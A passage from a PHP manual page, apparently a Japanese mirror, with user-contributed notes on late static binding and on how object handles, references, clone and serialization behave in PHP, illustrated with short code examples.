        $s_class = (string)$a_called['class'];
    if ($s_class == 'self')
        return get_called_class($i_level + 2);
    return $s_class;
}
?>
kx 14-Sep-2008 09:39
At least as of PHP 5.3.0a2 there's a function get_called_class(), which returns the class on which the static method is called.

<?php

class a {
  static public function test() {
    print get_called_class();
  }
}

class b extends a {
}

a::test(); // "a"
b::test(); // "b"

?>
iamscrumpyjack 07-Sep-2008 09:01
I have been dying to see this issue resolved. I'm very much looking forward to the production release of PHP 5.3...

In my case I have been trying to do the following:

class A {
  function __construct() {
    echo "I was called by " . static::__CLASS__;
  }
}

class B extends A {
  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Should echo "I was called by B"
$b->Foo(); // Should echo "I am class B"

At the moment I do the following workaround:

class A {
  function __construct($child) {
    echo "I was called by " . $child;
  }
}

class B extends A {
  function __construct() {
    parent::__construct(__CLASS__);
  }

  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Echos "I was called by B"
$b->Foo(); // Echo "I am class B"

As you can see, my current workaround has some overhead and is not as water-tight as the late static binding method.
sebastien at info-conseil dot fr 17-Jul-2008 07:26
Here is a small workaround I made for the static inheritance issue. It's not perfect, but it works.

<?php

// BaseClass class will be extended by any class needing static inheritance workaroud
class BaseClass {
    // Temporarily stores class name for Entry::getStatic() and Entry::setNextStatic()
    protected static $nextStatic = false;

    // Returns the real name of the class calling the method, not the one in which it was declared.
    protected static function getStatic() {
        // If already stored
        if (self::$nextStatic) {
            // Clean and return
            $class = self::$nextStatic;
            self::$nextStatic = false;
            return $class;
        }

        // Init
        $backTrace = debug_backtrace();
        $class = false;

        // Walk through
        for ($i=0; $i<count($backTrace); $i++) {
            // If a class is defined
            if (isset($backTrace[$i]['class'])) {
                // Check if it is not a basic class
                if (!in_array($backTrace[$i]['class'], array('BaseClass', 'GenericClass'))) {
                    return $backTrace[$i]['class'];
                } else {
                    $class = $backTrace[$i]['class'];
                }
            } else {
                // Returns last known class
                return $class;
            }
        }

        // Default
        return $class;
    }

    // If a static method is called within global env, the previous method won't work, so we need to tell BaseClass which
    public static function setNextStatic($class) {
        // Save value
        self::$nextStatic = $class;
    }
}

// Generic class declaring various static methods
class GenericClass extends BaseClass {
    public static $name = 'Generic';

    public function getName() {
        $static = get_class_vars(get_class($this));
        return $static['name'];
    }

    public static function basicClassName() {
        return self::$name;
    }

    public static function staticClassName() {
        // Get real name
        $staticName = self::getStatic();

        // Return final class name
        $static = get_class_vars($staticName);
        return $static['name'];
    }
}

// Final class
class SomeClass extends GenericClass {
    public static $name = 'Some';

    public static function returnClassNameWith($string) {
        return $string.' : '.self::staticClassName();
    }
}

// Instance call

// Will print 'Some'
$a = new SomeClass();
echo 'Name of $a : '.$a->getName().'<br />';

// Static calls

// Will print 'Generic'
echo 'Basic call to SomeClass::$name : '.SomeClass::basicClassName().'<br />';

// Will print 'Generic'
echo 'Global call to SomeClass::$name : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
BaseClass::setNextStatic('SomeClass');
echo 'Global call to SomeClass::$name with pre-set : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
echo 'Internal call to SomeClass::$name : '.SomeClass::returnClassNameWith('This is a ').'<br />';

?>

There are two issues with this workaround :
- if you call a static method from global env, you need to declare the name of the class BEFORE calling the method, otherwise the workaround won't work (see 3rd and 4th examples). But I assume good programming makes few calls to static methods from global scope, so this shouldn't be long to fix if you use it.
- the workaround fails to access to private or protected static vars, as it uses get_class_vars(). If you find any better solution, let us know.

With Php 5.3.0, upgrading will be easy : just delete the methods from the basic class, and search/replace any call to getStatic() and setNextStatic() by static:: - or one could use a selector on PHP_VERSION value to include either the BaseClass file with workaround or a BaseClass file using static::
Anonymous 12-Jul-2008 12:49
Trying to recreate an inheritable static part for an object through a singleton pattern.

<?php
/**
 * "Inheritable static" for PHP < 5.3
 * << Library/Inheritable.php >>
 */

abstract class Inheritable_Static extends Singleton
{
}

abstract class Inheritable
{
    public static function getStatic($className)
    {
        // Use an abstract Singleton
        return Singleton::getInstance($className . '_Static') ;
    }

    public function goStatic()
    {
        return self::getStatic(get_class($this)) ;
    }
}

/**
 * Abstract
 * << Library/SayIt/Abstract.php >>
 */

abstract class SayIt_Abstract_Static extends Inheritable_Static
{
    public $format ;
}

abstract class SayIt_Abstract extends Inheritable
{
    protected $_name ;

    public function __construct($name)
    {
        $this->_name = $name ;
    }

    final public function sayIt()
    {
        echo sprintf($this->goStatic()->format, $this->_name) . "\n" ;
    }

}

/**
 * Concrete
 * << Library/SayIt/Hello.php >>
 */

class SayIt_Hello_Static extends SayIt_Abstract_Static
{
}

class SayIt_Hello extends SayIt_Abstract
{
    public static function getStatic() { return parent::getStatic(__CLASS__) ; }
}

/**
 * Test
 */

SayIt_Hello::getStatic()->format = 'Hello %s' ;

$w = new SayIt_Hello('World') ;
$j = new SayIt_Hello('Joe') ;

echo $w->sayIt() ; // Hello World
echo $j->sayIt() ; // Hello Joe
Andrea Giammarchi 21-Jun-2008 01:06
About static parameters, these work as expected.
<?php
class A {
    protected static $__CLASS__ = __CLASS__;
    public static function constructor(){
        return  static::$__CLASS__;
    }
}

class B extends A {
    protected static $__CLASS__ = __CLASS__;
}

echo    B::constructor(); // B
?>
martinpauly [at] google mail [dot] com 18-Jun-2008 05:54
will this work for variables as well?

it would be great, if the following worked:

<?php
class A {
protected static $table = "table";
public static function connect(){
     //do some stuff here
     echo static::$table;
     return static::getInstance(); //function getInstance() now can return classes A or B depending on the context it was called
}
...
}

class B extends A {
protected static $table = "subtable";
...
}

$table = B::connect(); //hopefully the output will be: subtable
?>
deadimp at gmail dot com 05-Jun-2008 10:39
I think this will be pretty helpful too.
My question is, can just 'static' by itself resolve to the late static class?
I ask this because it could help in making new instances of the derived class, from a base class, by calling a derived class's static method instead of having to create a new instance of the derived class - or explicitly defining a 'getClass' method for each derived class.
Example:
<?php
//There isn't really any purpose for this example I posted
//Just a random implementation
class Base {
    static function useful() {
        //Create a list of instances of the derived class
        $list=array();
        for ($i=0;$i<10;$i++) $list[]=new static(); //Here's the point in question
        return $list;
    }
}
class Derived extends Base {
    static function somethingElse() {
        //...
        $list=static::useful();
    }
}
?>
I'm not sure what kind of lexical / whatever-it's-called problems this would make with parsing. I don't think it could really collide with any contexts where you would use static otherwise - variable / method declaration.

Even more so, is there a way to get the class's name to which the keywords 'self', 'parent', or 'static' refer?
Example:
<?php
class Base {
    static function stuff() {
        echo "Self: ".get_class(self);
        echo "Parent: ".get_class(parent);
        echo "Derived: ".get_class(static);
    }
}
class Derived extends Base {
    static function stuff() {
        static::stuff();
    }
}
?>

I don't think there should be a massive bloat in the PHP core to support all of this, but it would be nice to take advantage of the dynamic nature of PHP.

And yet another side note:
If you're in the instance-level scope in a method of a base, and you want to get a top-level static, here's an ugly workaround (from Thacmus /lib/core.php - see SVN repo):
<?php
//Get reference [?] to static from class
    //$class - Class name OR object (uses get_class())
    //$var - Not gonna say
function& get_static($class,$var) { //'static_get'?
    if (!is_string($class)) $class=get_class($class);
    if (!@property_exists($class,$var)) {
        trigger_error("Static property does not exist: $class::\$$var");
        //debug_callstack(); //This is just a wrapper for debug_backtrace() for HTML
        return null;
    }
    //Store a reference so that the base data can be referred to
        //The code [[ return eval('return &'.$class.'::$'.$var.';') ]] does not work - can not return references...
        //To establish the reference, use [[ $ref=&get_static(...) ]]
    eval('$temp=&'.$class.'::$'.$var.';'); //using
    return $temp;
}
?>
tyler AT canfone [dot] COM 04-Jun-2008 10:48
@ php at mikebird

You can pass arguments to your constructor through your getInstance method, assuming you are running php5.

        public static function getInstance($params = null) {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass($params);
            }
            return self::$objInstance;
        }

This would pass the params to your constructor. Love for php.
sergei at 2440media dot com 28-May-2008 01:22
Finally we can implement some ActiveRecord methods:

<?php

class Model
{
    public static function find()
    {
        echo static::$name;
    }
}

class Product extends Model
{
    protected static $name = 'Product';
}

Product::find();

?>

Output: 'Product'
php at mikebird dot co dot uk 23-Apr-2008 08:39
This should make life easier and neater if you have a project with a lot of singleton classes e.g.

<?php

    class Singleton {

        public static $objInstance;

        public static function &getInstance() {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass;
            }
            return self::$objInstance;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    class Foo extends Singleton {

        public $intBar;

        public function __construct() {
            $this->intBar = 1;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    $objFooTwo = Foo::getInstance();
    $objFooTwo->intBar = 2;

    $objFooOne = Foo::getInstance();

    if ($objFooOne->intBar == $objFooTwo->intBar) {
        echo 'it is a singleton';
    } else {
        echo 'it is not a singleton';
    }

?>

The above will output 'it is a singleton'. The obvious downfall to this method is not being able to give arguments to the constructor.
max at mastershrimp dot com 10-Apr-2008 03:24
If you are using PHP < 5.3.0 you might be interested in the following workaround for late static binding: http://de2.php.net/manual/de/function.get-class.php#77698


オブジェクトと参照

PHP でのオブジェクト指向プログラミングのポイントとしてよく言われるのは 「オブジェクトはデフォルトでは参照渡しとなります」ということです。 しかし、正確には少し異なります。 この節では、いくつかの例を用いてその誤解をといていきます。

PHP の参照は一種のエイリアスで、ふたつの異なる変数に同じ値を書き込めるものです。 PHP では、オブジェクト変数の値にオブジェクト自身は含まれません。 含まれるのはオブジェクトの ID のみで、 これを用いて実際のオブジェクトにアクセスできるようになっています。 オブジェクトが引数として渡されたり返り値となったり あるいは別の変数に代入されたりした場合、 それはエイリアスではありません。ID のコピーを保持し、 同じオブジェクトを指すようになるのです。

例1 参照とオブジェクト

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;     // $a と $b は同じ ID を持つコピーです
             // ($a) = ($b) = <id>
$b->foo = 2;
echo $a->foo."\n";

$c = new A;
$d = &$c;    // $c と $d は参照です
             // ($c,$d) = <id>

$d->foo = 2;
echo $c->foo."\n";

$e = new A;

function foo($obj) {
    // ($obj) = ($e) = <id>
    $obj->foo = 2;
}

foo($e);
echo $e->foo."\n";

?>

上の例の出力は以下となります。

2
2
2

User Contributed Notes

rnealxp at yahoo dot com 11-May-2020 06:47
Concise reminders of the behaviors of object assignments, with and without using the "&" operator...
<?php
class clsA{
    public $propA = 2;
}
class clsB{
    public $propB = 3;
}
//------------
$a = new clsA();
$c = $a; //Both of these vars now refer to the same object-instance (an assignment-by-reference).
$c->propA = 22; //Use one of the vars to change the instance's property.
echo $c->propA . "\n"; //output: 22
echo $a->propA . "\n"; //output: 22
//------------
$b = new clsB();
$a = $b; //Before this assignment, both $c and $a referred to the same object instance; this is no longer the case after $a is switched to reference the instance of clsB.
echo $c->propA . "\n"; //output: 22 (this works because $c is still a reference to the object instance of type clsA)
echo $c->propB . "\n"; //output: "Undefined property: clsA::$propB" (did not work because $c is not a reference to the object instance of type clsB)
//------------
//Start over and use the "&" operator...
$a = new clsA();
$b = new clsB();
$c = &$a; //<--$c will refer to whatever $a currently and "futuristically" refers to (also a type of assignment-by-reference); in C-language, you would think of this as copying a pointer.
echo $c->propA . "\n"; //output: 2
$a = $b; //This assignment causes $c to refer to a new/different object.
echo $c->propA . "\n"; //output: "Undefined property: clsB::$propA" (does not work since $c no longer refers to the object instance of type clsA)
echo $c->propB . "\n"; //output: 3 (works since $c now refers to the object instance of type clsB)
//------------
?>
Joe F 01-Mar-2019 01:38
I am planning to serialize and unserialize objects as a means of storage, and my application can conveniently group large numbers of objects inside of a single object to serialize. However, this presented some questions that I needed to answer:

Let's say the parent object I plan to serialize is "A" and the objects I store in it will be A(a-z). If I pass A(b) to A(c), this happens by reference. So if A(c) takes actions that effect the values of A(b), this will also update the original A(b) stored in A. Great!

However, what happens when I serialize A, where A(c) has a reference to A(b), and then I unserialize? Will A(c) have a new unique copy of A(b), or will it still reference the A(b) stored in A?

The answer is, PHP 5.5 and PHP 7 both track whether something is a reference to an object it's already "recreated" during the unserialize process, see this example:

<?php

class foo {
    protected $stored_object;
    protected $stored_object2;
    protected $stored_value;

    public function __construct($name, $stored_value) {
        $this->store_value($stored_value);
        echo 'Constructed: '.$name.' => '.$stored_value.'<br/>';
    }

    public function store_object(foo $object) {
        $this->stored_object = $object;
    }

    public function store_object2(foo $object) {
        $this->stored_object2 = $object;
    }

    public function store_value($value) {
        $this->stored_value = $value;
    }

    public function stored_method($method, array $parameters) {
        echo 'Call stored method: '.$method.'{ <br/>';
        call_user_func_array(array($this->stored_object, $method), $parameters);
        echo '} <br/>';
    }

    public function stored_method2($method, array $parameters) {
        echo 'Call stored method 2: '.$method.'{ <br/>';
        call_user_func_array(array($this->stored_object2, $method), $parameters);
        echo '} <br/>';
    }

    public function echo_value() {
        echo 'Value: '.$this->stored_value.'<br/>';
    }
}

$foo = new foo('foo', 'Hello!'); // Constructed: foo => Hello!
$new_foo = new foo('new_foo', 'New Foo 2!'); // Constructed: new_foo => New Foo 2!
$third_foo = new foo('third_foo', 'Final Foo!'); // Constructed: third_foo => Final Foo!

$foo->store_object($new_foo);
$foo->store_object2($third_foo);
$foo->stored_method('store_object', array($third_foo)); //Call stored method: store_object{ }

$serialized = serialize($foo);
unset($foo);
unset($new_foo);
unset($third_foo);
$unserialized_foo = unserialize($serialized);

//Below, I update the object represented as A(c) but I update it via the A object
$unserialized_foo->stored_method2('store_value', array('Super Last Foo!')); // Call stored method 2: store_value{}
$unserialized_foo->echo_value(); // Value: Hello!
$unserialized_foo->stored_method('echo_value', array());
//Call stored method: echo_value{
//Value: New Foo 2!
//}

// Last, I check the value of A(c) as it was stored in A(b) to see if updating A(c) via A also updates A(b)'s copy/reference:
$unserialized_foo->stored_method('stored_method', array('echo_value', array()));
//Call stored method: stored_method{
//Call stored method: echo_value{
//Value: Super Last Foo!
//}
//}
?>

Per the last line, A(b)'s "copy" of A(c) is still a reference to the original A(b) as stored in A, even after unserializing.
gevorgmelkoumyan at gmail dot com 06-Jan-2019 03:46
I think this example should clarify the difference between PHP references (aliases) and pointers:

<?php

class A {
    public $var = 42;
}

$a = new A; // $a points to the object with id=1
echo 'A: ' . $a->var . PHP_EOL; // A: 42

$b = $a; // $b points to the object with id=1
echo 'B: ' . $b->var . PHP_EOL; // B: 42

$b->var = 5;
echo 'B: ' . $b->var . PHP_EOL; // B: 5
echo 'A: ' . $a->var . PHP_EOL; // A: 5

$b = new A; // now $b points to the object with id=2, but $a still points to the 1st object
echo 'B: ' . $b->var . PHP_EOL; // B: 42
echo 'A: ' . $a->var . PHP_EOL; // A: 5

?>
wassimamal121 at hotmail dot com 26-May-2015 04:43
The example given by PHP manual is pretty clever and simple.
The example begins by explaining how things go when two aliases referring to the same objects are changed, just rethink the first part of the example
<?php

class A {    public $foo = 1;}
function go($obj) {  $obj->foo = 2;}
function bo($obj) {$obj=new A;}

function chan($p){$p=44;}
function chanref(&$p){$p=44;}

/**************manipulating simple variable******************/
$h=2;$k=$h;$h=4; echo '$k='.$k."<br/>";
//$k refers to a memory cell containing the value 2
//$k is created and referes to another cell in the RAM
//$k=$h implies take the content of the cell to which $h refers
//and put it in the cell to which $k refers to
//$h=4 implies change the content of the cell to which $h refers to
//dosn't imply changing the content of the cell to which $k refers to

$h=2;$k=&$h;$h=4; echo '$k='.$k."<br/>";
//here $k refers to the same memory cell as $h

$v=2;chan($v); echo '$v='.$v."<br/>";
//the value of $v doesn't change because the function takes
// as argument an alias  refering to a value 2, in the function we
//change only the value to which this alias refers to

$u=2;chanref($u); echo '$u='.$u."<br/>";
//here the value changes because we pass a adress of the
//memory cell to which $u refers to, the function is manipulating
//the content of this memory cell

/***************manipaliting objects************************/
$a = new A;
//create an object by allocating some cells in memory, $a refers
//to this cells

$b = $a;
//$b refers to the same cells, it's not like simple variables
//which are created then, we copy the content

$b->foo = 2;echo $a->foo."<br/>";
//you can access the same object using both $a or $b

$c = new A;$d = &$c;$d->foo = 2;echo $c->foo."<br/>";
//$d and $c don't just refers to the same memory space,
//but they are the same

$e = new A;
go($e);
//we pass a copy of a pointer
echo $e->foo."<br/>";
bo($e);
echo $e->foo."<br/>";
//if you think it's 1 sorry I failed to explain
//remember you passed just a pointer, when new is called
//the pointer is discoupled
?>
akam at akameng dot com 29-Aug-2013 09:30
Object is being referenced even after the original object deleted, so be careful when copying objects into your array.

<?php
$result = json_decode(' {"1":1377809496,"2":1377813096}');
$copy1['object'] = $result;
$copy2['object'] = $result;

unset($result);

//now lets change $copy1['object'][1] to 'test';
$copy1['object']->{"1"} = 'test';

echo ($copy1 === $copy2) ? "Yes" : "No";
print_r($copy2);
/*
Array
(
    [API] => stdClass Object
        (
            [1] => test
            [2] => 1377813096
        )

)
*/
?>
cesoid at gmail dot com 27-May-2013 04:45
Comparing an alias to a pointer is like comparing a spoken word to the neurochemistry of the speaker. You know that the speaker can use two different words to refer to the same thing, but what's going on in their brain to make this work is something you don't want to have to think about every time they speak. (If you're programming in assembly or, less so, in C++, you're out of luck there.)

Likewise, PHP *the language* and a given php interpretor are not the same thing, and this post and most of these comments leave that out in the explanation. An alias/reference is a part of the language, a pointer is a part of how the computer makes the reference work. You often have little guarantee that an interpreter will continue working the same way internally.

From a functional point of view the internals of the interpreter *do* matter for optimization, but *don't* matter in terms of the end result of the program. A higher level programming language such as PHP is supposed to try to hide such details from the programmer so that they can write clearer, more manageable code, and do it quickly.

Unfortunately, years ago, using pass-by-reference a lot actually was very useful in terms of optimizing. Fortunately, that ended years ago, so now we no longer need to perform a reference assignment and hope that we remember not to change one variable when the other one is supposed to stay the same. By the time you read this the php that is sending these words to you may be running on a server that uses some kind of new exotic technology for which the word "pointer" no longer accurately describes anything, because the server stores both the program state and instructions intermingled in non-sequential atoms bonded into molecules which work by randomly bouncing off each other at high speeds, thereby exchanging atoms and crossbreeding their instructions and information in such a way as to, in aggregate, successfully run php 5 code. But the code itself will still have references that work the same way they did before, and you will therefore not have to think about whether the machine I just described makes any sense at all.
Jon Whitener 15-Aug-2012 01:55
The use of clone may get you the behavior you expect when passing an object to a function, as shown below using DateTime objects as examples.

<?php
date_default_timezone_set( "America/Detroit" );

$a = new DateTime;
echo "a = " . $a->format('Y-m-j') . "\n";

// This might not give what you expect...
$b = upDate( $a ); // a and b both updated
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";
$a->modify( "+ 1 day" ); // a and b both modified
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";

// This might be what you want...
$c = upDateClone( $a ); // only c updated, a left alone
echo "a = " . $a->format('Y-m-j') . ", c = " . $c->format('Y-m-j') . "\n";

function upDate( $datetime ) {
    $datetime->modify( "+ 1 day" );
    return $datetime;
}

function upDateClone( $datetime ) {
    $dt = clone $datetime;
    $dt->modify( "+ 1 day" );
    return $dt;
}
?>

The above would output something like:

a = 2012-08-15
a = 2012-08-16, b = 2012-08-16
a = 2012-08-17, b = 2012-08-17
a = 2012-08-17, c = 2012-08-18
kristof at viewranger dot com 16-Jun-2012 02:07
I hope this clarifies references a bit more:

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;
$a->foo = 2;
$a = NULL;
echo $b->foo."\n"; // 2

$c = new A;
$d = &$c;
$c->foo = 2;
$c = NULL;
echo $d->foo."\n"; // Notice:  Trying to get property of non-object...
?>
Anonymous 23-Nov-2011 07:57
this example could help:

<?php
class A {
    public $testA = 1;
}

class B {
    public $testB = "class B";
}

$a = new A;
$b = $a;
$b->testA = 2;

$c = new B;
$a = $c;

$a->testB = "Changed Class B";

echo "<br/> object a: "; var_dump($a);
echo "<br/> object b: "; var_dump($b);
echo "<br/> object c: "; var_dump($c);

// by reference

$aa = new A;
$bb = &$aa;
$bb->testA = 2;

$cc = new B;
$aa = $cc;

$aa->testB = "Changed Class B";

echo "<br/> object aa: "; var_dump($aa);
echo "<br/> object bb: "; var_dump($bb);
echo "<br/> object cc: "; var_dump($cc);

?>
Rob Marscher 03-Feb-2011 09:33
Here's an example I created that helped me understand the difference between passing objects by reference and by value in php 5.

<?php
class A {
    public $foo = 'empty';
}
class B {
    public $foo = 'empty';
    public $bar = 'hello';
}

function normalAssignment($obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

function referenceAssignment(&$obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

$a = new A;
normalAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";

referenceAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";
echo "bar = {$a->bar}\n";

/*
prints:
A
foo = changed
B
foo = empty
bar = hello
*/
?>
Anonymous 16-Jan-2011 08:51
There seems to be some confusion here. The distinction between pointers and references is not particularly helpful.
The behavior in some of the "comprehensive" examples already posted can be explained in simpler unifying terms. Hayley's code, for example, is doing EXACTLY what you should expect it should. (Using >= 5.3)

First principle:
A pointer stores a memory address to access an object. Any time an object is assigned, a pointer is generated. (I haven't delved TOO deeply into the Zend engine yet, but as far as I can see, this applies)

2nd principle, and source of the most confusion:
Passing a variable to a function is done by default as a value pass, ie, you are working with a copy. "But objects are passed by reference!" A common misconception both here and in the Java world. I never said a copy OF WHAT. The default passing is done by value. Always. WHAT is being copied and passed, however, is the pointer. When using the "->", you will of course be accessing the same internals as the original variable in the caller function. Just using "=" will only play with copies.

3rd principle:
"&" automatically and permanently sets another variable name/pointer to the same memory address as something else until you decouple them. It is correct to use the term "alias" here. Think of it as joining two pointers at the hip until forcibly separated with "unset()". This functionality exists both in the same scope and when an argument is passed to a function. Often the passed argument is called a "reference," due to certain distinctions between "passing by value" and "passing by reference" that were clearer in C and C++.

Just remember: pointers to objects, not objects themselves, are passed to functions. These pointers are COPIES of the original unless you use "&" in your parameter list to actually pass the originals. Only when you dig into the internals of an object will the originals change.

Example:

<?php

//The two are meant to be the same
$a = "Clark Kent"; //a==Clark Kent
$b = &$a; //The two will now share the same fate.

$b="Superman"; // $a=="Superman" too.
echo $a;
echo $a="Clark Kent"; // $b=="Clark Kent" too.
unset($b); // $b divorced from $a
$b="Bizarro";
echo $a; // $a=="Clark Kent" still, since $b is a free agent pointer now.

//The two are NOT meant to be the same.
$c="King";
$d="Pretender to the Throne";
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByValue($c, $d);
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByRef($c, $d);
echo $c."\n"; // $c=="Pretender to the Throne"
echo $d."\n"; // $d=="King"

function swapByValue($x, $y){
$temp=$x;
$x=$y;
$y=$temp;
//All this beautiful work will disappear
//because it was done on COPIES of pointers.
//The originals pointers still point as they did.
}

function swapByRef(&$x, &$y){
 $temp=$x;
 $x=$y;
 $y=$temp;
 //Note the parameter list: now we switched 'em REAL good.
}

?>
Hayley Watson 29-Mar-2010 07:21
Using &$this can result in some weird and counter-intuitive behaviour - it starts lying to you.

<?php

class Bar
{
    public $prop = 42;
}

class Foo
{
    public $prop = 17;
    function boom()
    {
        $bar = &$this;
        echo "\$bar is an alias of \$this, a Foo.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

        echo "\n";

        $bar = new Bar;
        echo "\$bar has been made into a new Bar.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

    }
}

$t = new Foo;
$t->boom();
?>
In the above $this claims to be a Bar (in fact it claims to be the very same object that $bar is), while still having all the properties and methods of a Foo.

Fortunately it doesn't persist beyond the method where you committed the faux pas.
<?php
echo get_class($t), "\t", $t->prop;
?>
miklcct at gmail dot com 07-Jan-2010 01:34
Notes on reference:
A reference is not a pointer. However, an object handle IS a pointer. Example:
<?php
class Foo {
  private static $used;
  private $id;
  public function __construct() {
    $id = $used++;
  }
  public function __clone() {
    $id = $used++;
  }
}

$a = new Foo; // $a is a pointer pointing to Foo object 0
$b = $a; // $b is a pointer pointing to Foo object 0, however, $b is a copy of $a
$c = &$a; // $c and $a are now references of a pointer pointing to Foo object 0
$a = new Foo; // $a and $c are now references of a pointer pointing to Foo object 1, $b is still a pointer pointing to Foo object 0
unset($a); // A reference with reference count 1 is automatically converted back to a value. Now $c is a pointer to Foo object 1
$a = &$b; // $a and $b are now references of a pointer pointing to Foo object 0
$a = NULL; // $a and $b now become a reference to NULL. Foo object 0 can be garbage collected now
unset($b); // $b no longer exists and $a is now NULL
$a = clone $c; // $a is now a pointer to Foo object 2, $c remains a pointer to Foo object 1
unset($c); // Foo object 1 can be garbage collected now.
$c = $a; // $c and $a are pointers pointing to Foo object 2
unset($a); // Foo object 2 is still pointed by $c
$a = &$c; // Foo object 2 has 1 pointers pointing to it only, that pointer has 2 references: $a and $c;
const ABC = TRUE;
if(ABC) {
  $a = NULL; // Foo object 2 can be garbage collected now because $a and $c are now a reference to the same NULL value
} else {
  unset($a); // Foo object 2 is still pointed to $c
}
mjung at poczta dot onet dot pl 15-Aug-2009 10:25
Ultimate explanation to object references:
NOTE: wording 'points to' could be easily replaced with 'refers ' and is used loosly.
<?php
$a1 = new A(1);  // $a1 == handle1-1 to A(1)
$a2 = $a1;     // $a2 == handle1-2 to A(1) - assigned by value (copy)
$a3 = &$a1;  // $a3 points to $a1 (handle1-1)
$a3 = null;      // makes $a1==null, $a3 (still) points to $a1, $a2 == handle1-2 (same object instance A(1))
$a2 = null;      // makes $a2 == null
$a1 = new A(2); //makes $a1 == handle2-1 to new object and $a3 (still) points to $a1 => handle2-1 (new object), so value of $a1 and $a3 is the new object and $a2 == null
//By reference:
$a4 = &new A(4);  //$a4 points to handle4-1 to A(4)
$a5 = $a4;   // $a5 == handle4-2 to A(4) (copy)
$a6 = &$a4;  //$a6 points to (handle4-1), not to $a4 (reference to reference references the referenced object handle4-1 not the reference itself)

$a4 = &new A(40); // $a4 points to handle40-1, $a5 == handle4-2 and $a6 still points to handle4-1 to A(4)
$a6 = null;  // sets handle4-1 to null; $a5 == handle4-2 = A(4); $a4 points to handle40-1; $a6 points to null
$a6 =&$a4; // $a6 points to handle40-1
$a7 = &$a6; //$a7 points to handle40-1
$a8 = &$a7; //$a8 points to handle40-1
$a5 = $a7;  //$a5 == handle40-2 (copy)
$a6 = null; //makes handle40-1 null, all variables pointing to (hanlde40-1 ==null) are null, except ($a5 == handle40-2 = A(40))
?>
Hope this helps.
Aaron Bond 19-Jun-2009 06:08
I've bumped into a behavior that helped clarify the difference between objects and identifiers for me.

When we hand off an object variable, we get an identifier to that object's value.  This means that if I were to mutate the object from a passed variable, ALL variables originating from that instance of the object will change.

HOWEVER, if I set that object variable to new instance, it replaces the identifier itself with a new identifier and leaves the old instance in tact.

Take the following example:

<?php
class A {
    public $foo = 1;
}

class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A $bar)
    {
        $bar = new A;
    }
}

$f = new A;
$g = new B;
echo $f->foo . "\n";

$g->foo($f);
echo $f->foo . "\n";

$g->bar($f);
echo $f->foo . "\n";

?>

If object variables were always references, we'd expect the following output:
1
42
1

However, we get:
1
42
42

The reason for this is simple.  In the bar function of the B class, we replace the identifier you passed in, which identified the same instance of the A class as your $f variable, with a brand new A class identifier.  Creating a new instance of A doesn't mutate $f because $f wasn't passed as a reference.

To get the reference behavior, one would have to enter the following for class B:

<?php
class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A &$bar)
    {
        $bar = new A;
    }
}
?>

The foo function doesn't require a reference, because it is MUTATING an object instance that $bar identifies.  But bar will be REPLACING the object instance.  If only an identifier is passed, the variable identifier will be overwritten but the object instance will be left in place.
Ivan Bertona 15-Oct-2008 08:45
A point that in my opinion is not stressed enough in the manual page is that in PHP5, passing an object as an argument of a function call with no use of the & operator means passing BY VALUE an unique identifier for that object (intended as instance of a class), which will be stored in another variable that has function scope.

This behaviour is the same used in Java, where indeed there is no notion of passing arguments by reference. On the other hand, in PHP you can pass a value by reference (in PHP we refer to references as "aliases"), and this poses a threat if you are not aware of what you are really doing. Please consider these two classes:

<?php
class A
{
    function __toString() {
        return "Class A";
    }
}

class B
{
    function __toString() {
        return "Class B";
    }
}
?>

In the first test case we make two objects out of the classes A and B, then swap the variables using a temp one and the normal assignment operator (=).

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = $b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

As expected the script will output:

$a: Class B
$b: Class A

Now consider the following snippet. It is similar to the former but the assignment $a = &$b makes $a an ALIAS of $b.

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = &$b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

This script will output:

$a: Class A
$b: Class A

That is, modifying $b reflects the same assignment on $a... The two variables end pointing to the same object, and the other one is lost. To sum up is a good practice NOT using aliasing when handling PHP5 objects, unless your are really really sure of what you are doing.
lazybones_senior 30-Sep-2008 06:57
WHOA... KEEP IT SIMPLE!

In regards to secure_admin's note: You've used OOP to simplify PHP's ability to create and use object references. Now use PHP's static keyword to simplify your OOP.

<?php

class DataModelControl {
  protected static $data = 256; // default value;
  protected $name;

  public function __construct($dmcName) {
    $this->name = $dmcName;
  }

  public static function setData($dmcData) {
    if(is_numeric($dmcData)) {
      self::$data = $dmcData;
    }
  }

  public function __toString() {
